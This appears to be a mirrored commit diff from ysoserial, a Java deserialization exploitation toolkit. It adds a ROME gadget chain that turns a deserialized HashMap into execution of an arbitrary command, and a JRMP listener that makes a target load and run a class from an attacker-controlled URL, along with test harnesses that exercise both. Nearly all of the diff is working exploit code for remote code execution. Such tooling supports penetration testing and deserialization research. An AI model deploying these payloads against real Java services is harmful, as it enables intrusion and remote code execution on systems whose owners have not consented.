mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 17:01:53 +08:00
Add rome (RSS/Atom library) gadget chain.
Add exploit and test code for JRMP reverse connect remote classloading.
This commit is contained in:
@@ -233,6 +233,11 @@
|
|||||||
<artifactId>xalan</artifactId>
|
<artifactId>xalan</artifactId>
|
||||||
<version>2.7.2</version>
|
<version>2.7.2</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>rome</groupId>
|
||||||
|
<artifactId>rome</artifactId>
|
||||||
|
<version>1.0</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package ysoserial.exploit;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import java.net.URL;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* JRMP listener triggering RMI remote classloading
|
||||||
|
*
|
||||||
|
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
|
||||||
|
*
|
||||||
|
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
|
||||||
|
* access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
|
||||||
|
*
|
||||||
|
* This only works if
|
||||||
|
* - the remote end is running with a security manager
|
||||||
|
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
|
||||||
|
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
|
||||||
|
*
|
||||||
|
* and, of course, the payload class is then run under the security manager with a remote codebase
|
||||||
|
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
|
||||||
|
* with a security manager bypass exploit (wouldn't be the first time).
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public class JRMPClassLoadingListener {
|
||||||
|
|
||||||
|
public static final void main ( final String[] args ) {
|
||||||
|
|
||||||
|
if ( args.length < 3 ) {
|
||||||
|
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
|
||||||
|
System.exit(-1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
int port = Integer.parseInt(args[ 0 ]);
|
||||||
|
System.err.println("* Opening JRMP listener on " + port);
|
||||||
|
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
|
||||||
|
c.run();
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
System.err.println("Listener error");
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -97,18 +97,29 @@ public class JRMPClient {
|
|||||||
|
|
||||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||||
|
|
||||||
|
|
||||||
|
private URL sendUrl;
|
||||||
|
|
||||||
|
public MarshalOutputStream (OutputStream out, URL u) throws IOException {
|
||||||
|
super(out);
|
||||||
|
this.sendUrl = u;
|
||||||
|
}
|
||||||
|
|
||||||
MarshalOutputStream ( OutputStream out ) throws IOException {
|
MarshalOutputStream ( OutputStream out ) throws IOException {
|
||||||
super(out);
|
super(out);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void annotateClass ( Class<?> cl ) throws IOException {
|
protected void annotateClass ( Class<?> cl ) throws IOException {
|
||||||
if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
|
if ( this.sendUrl != null ) {
|
||||||
|
writeObject(this.sendUrl.toString());
|
||||||
|
} else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
|
||||||
writeObject(null);
|
writeObject(null);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
|
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
|
||||||
String cb = "";
|
String cb = "";
|
||||||
|
|
||||||
for ( URL u : us ) {
|
for ( URL u : us ) {
|
||||||
cb += u.toString();
|
cb += u.toString();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,10 +11,12 @@ import java.io.ObjectInputStream;
|
|||||||
import java.io.ObjectOutputStream;
|
import java.io.ObjectOutputStream;
|
||||||
import java.io.ObjectStreamClass;
|
import java.io.ObjectStreamClass;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
|
import java.io.Serializable;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
import java.net.ServerSocket;
|
import java.net.ServerSocket;
|
||||||
import java.net.Socket;
|
import java.net.Socket;
|
||||||
import java.net.SocketException;
|
import java.net.SocketException;
|
||||||
|
import java.net.URL;
|
||||||
import java.rmi.MarshalException;
|
import java.rmi.MarshalException;
|
||||||
import java.rmi.server.ObjID;
|
import java.rmi.server.ObjID;
|
||||||
import java.rmi.server.UID;
|
import java.rmi.server.UID;
|
||||||
@@ -22,6 +24,9 @@ import java.rmi.server.UID;
|
|||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import javax.net.ServerSocketFactory;
|
import javax.net.ServerSocketFactory;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
import sun.rmi.transport.TransportConstants;
|
import sun.rmi.transport.TransportConstants;
|
||||||
import ysoserial.payloads.ObjectPayload.Utils;
|
import ysoserial.payloads.ObjectPayload.Utils;
|
||||||
import ysoserial.payloads.util.Reflections;
|
import ysoserial.payloads.util.Reflections;
|
||||||
@@ -47,6 +52,7 @@ public class JRMPListener implements Runnable {
|
|||||||
private Object waitLock = new Object();
|
private Object waitLock = new Object();
|
||||||
private boolean exit;
|
private boolean exit;
|
||||||
private boolean hadConnection;
|
private boolean hadConnection;
|
||||||
|
private URL classpathUrl;
|
||||||
|
|
||||||
|
|
||||||
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
|
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
|
||||||
@@ -55,6 +61,13 @@ public class JRMPListener implements Runnable {
|
|||||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
|
||||||
|
this.port = port;
|
||||||
|
this.payloadObject = makeDummyObject(className);
|
||||||
|
this.classpathUrl = classpathUrl;
|
||||||
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
public boolean waitFor ( int i ) {
|
public boolean waitFor ( int i ) {
|
||||||
try {
|
try {
|
||||||
@@ -246,7 +259,7 @@ public class JRMPListener implements Runnable {
|
|||||||
System.err.println("Sending return with payload");
|
System.err.println("Sending return with payload");
|
||||||
|
|
||||||
out.writeByte(TransportConstants.Return);// transport op
|
out.writeByte(TransportConstants.Return);// transport op
|
||||||
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out);
|
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
|
||||||
|
|
||||||
oos.writeByte(TransportConstants.ExceptionalReturn);
|
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||||
new UID().write(oos);
|
new UID().write(oos);
|
||||||
@@ -264,4 +277,24 @@ public class JRMPListener implements Runnable {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
protected static Object makeDummyObject (String className) {
|
||||||
|
try {
|
||||||
|
ClassLoader isolation = new ClassLoader() {};
|
||||||
|
ClassPool cp = new ClassPool();
|
||||||
|
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||||
|
CtClass clazz = cp.get(Dummy.class.getName());
|
||||||
|
clazz.setName(className);
|
||||||
|
return clazz.toClass(isolation).newInstance();
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static class Dummy implements Serializable {
|
||||||
|
private static final long serialVersionUID = 1L;
|
||||||
|
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -48,7 +48,7 @@ import ysoserial.payloads.util.PayloadRunner;
|
|||||||
@SuppressWarnings ( {
|
@SuppressWarnings ( {
|
||||||
"restriction"
|
"restriction"
|
||||||
} )
|
} )
|
||||||
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
|
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
|
||||||
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
||||||
|
|
||||||
public Registry getObject ( final String command ) throws Exception {
|
public Registry getObject ( final String command ) throws Exception {
|
||||||
|
|||||||
@@ -0,0 +1,45 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
|
import com.sun.syndication.feed.impl.ObjectBean;
|
||||||
|
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
* TemplatesImpl.getOutputProperties()
|
||||||
|
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
|
||||||
|
* NativeMethodAccessorImpl.invoke(Object, Object[])
|
||||||
|
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
|
||||||
|
* Method.invoke(Object, Object...)
|
||||||
|
* ToStringBean.toString(String)
|
||||||
|
* ToStringBean.toString()
|
||||||
|
* ObjectBean.toString()
|
||||||
|
* EqualsBean.beanHashCode()
|
||||||
|
* ObjectBean.hashCode()
|
||||||
|
* HashMap<K,V>.hash(Object)
|
||||||
|
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
@Dependencies("rome:rome:1.0")
|
||||||
|
public class ROME implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject ( String command ) throws Exception {
|
||||||
|
Object o = Gadgets.createTemplatesImpl(command);
|
||||||
|
ObjectBean delegate = new ObjectBean(Templates.class, o);
|
||||||
|
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||||
|
return Gadgets.makeMap(root, root);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main ( final String[] args ) throws Exception {
|
||||||
|
PayloadRunner.run(ROME.class, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -37,6 +37,8 @@ public class Gadgets {
|
|||||||
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
||||||
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||||
|
|
||||||
|
// for RMI remote loading
|
||||||
|
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
||||||
}
|
}
|
||||||
|
|
||||||
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||||
|
|||||||
@@ -0,0 +1,64 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
import java.net.URL;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
import ysoserial.WrappedTest;
|
||||||
|
import ysoserial.exploit.JRMPListener;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest {
|
||||||
|
|
||||||
|
private int jrmpPort;
|
||||||
|
|
||||||
|
|
||||||
|
public JRMPReverseConnectSMTest (String command) {
|
||||||
|
super(command);
|
||||||
|
// some payloads cannot specify the port
|
||||||
|
jrmpPort = 1099;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
|
||||||
|
return super.createCallable(new Callable<Object>() {
|
||||||
|
public Object call () throws Exception {
|
||||||
|
JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/"));
|
||||||
|
Thread t = new Thread(l, "JRMP listener");
|
||||||
|
try {
|
||||||
|
t.start();
|
||||||
|
Object res = innerCallable.call();
|
||||||
|
l.waitFor(1000);
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
l.close();
|
||||||
|
t.interrupt();
|
||||||
|
t.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getPayloadArgs () {
|
||||||
|
return "localhost:" + jrmpPort;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -3,6 +3,7 @@ package ysoserial.payloads;
|
|||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.Serializable;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
import java.util.concurrent.Callable;
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
@@ -35,11 +36,17 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
return String.format("http://localhost:%d/", this.port) + ":" + this.className;
|
return String.format("http://localhost:%d/", this.port) + ":" + this.className;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public int getHTTPPort () {
|
||||||
|
return this.port;
|
||||||
|
}
|
||||||
|
|
||||||
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
|
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
|
||||||
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
|
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public String getExploitClassName () {
|
||||||
|
return this.className;
|
||||||
|
}
|
||||||
|
|
||||||
protected byte[] makePayloadClass () {
|
protected byte[] makePayloadClass () {
|
||||||
try {
|
try {
|
||||||
@@ -60,6 +67,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
|
|
||||||
private Callable<Object> innerCallable;
|
private Callable<Object> innerCallable;
|
||||||
private byte[] data;
|
private byte[] data;
|
||||||
|
private Object waitLock = new Object();
|
||||||
|
|
||||||
|
|
||||||
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
|
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
|
||||||
@@ -70,10 +78,20 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void waitFor() throws InterruptedException {
|
||||||
|
synchronized ( this.waitLock ) {
|
||||||
|
this.waitLock.wait(1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
public Object call () throws Exception {
|
public Object call () throws Exception {
|
||||||
try {
|
try {
|
||||||
setup();
|
setup();
|
||||||
return this.innerCallable.call();
|
Object res = this.innerCallable.call();
|
||||||
|
waitFor();
|
||||||
|
Thread.sleep(1000);
|
||||||
|
return res;
|
||||||
}
|
}
|
||||||
finally {
|
finally {
|
||||||
cleanup();
|
cleanup();
|
||||||
@@ -93,12 +111,21 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Response serve ( IHTTPSession sess ) {
|
public Response serve ( IHTTPSession sess ) {
|
||||||
return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
|
System.out.println("Serving " + sess.getUri());
|
||||||
|
Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
|
||||||
|
synchronized ( this.waitLock ) {
|
||||||
|
this.waitLock.notify();
|
||||||
|
}
|
||||||
|
return response;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class Exploit {
|
|
||||||
|
|
||||||
|
public static class Exploit implements Serializable {
|
||||||
|
|
||||||
|
private static final long serialVersionUID = 1L;
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user